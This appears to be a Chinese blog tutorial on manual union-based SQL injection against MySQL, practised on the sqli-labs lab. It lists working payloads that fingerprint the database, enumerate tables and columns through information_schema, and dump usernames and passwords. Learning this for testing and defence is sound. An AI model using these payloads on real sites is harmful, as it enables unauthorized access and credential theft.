sql注入

注入流程:

1、判断是否有注入点

and 1=1

2、拆解列名数量

order by 数字

 3、报错、有回显

union

4、信息收集、version()判断数据库版本,mysql版本大于5.0 才有information_schema系统库。database()判断库名

version()

database()

5、知道库名,找表名,table_schema 是数据库的名字

information_schema.tables

table_name

6、知道表名,找字段名 

information_schema.columns

column_name

7、最后找到name,password

union select 1,2,(select group_concat(username,0x3a,password)) from users

手工注入:

union select 1,version(),database() #查看版本,数据库


union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()


union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'    #建议是把users字符转换成16进制,如下所示

http://localhost/sqli-labs-master/Less-2/index.php?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273

union select 1,2,(select group_concat(username,0x3a,password)) from users

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值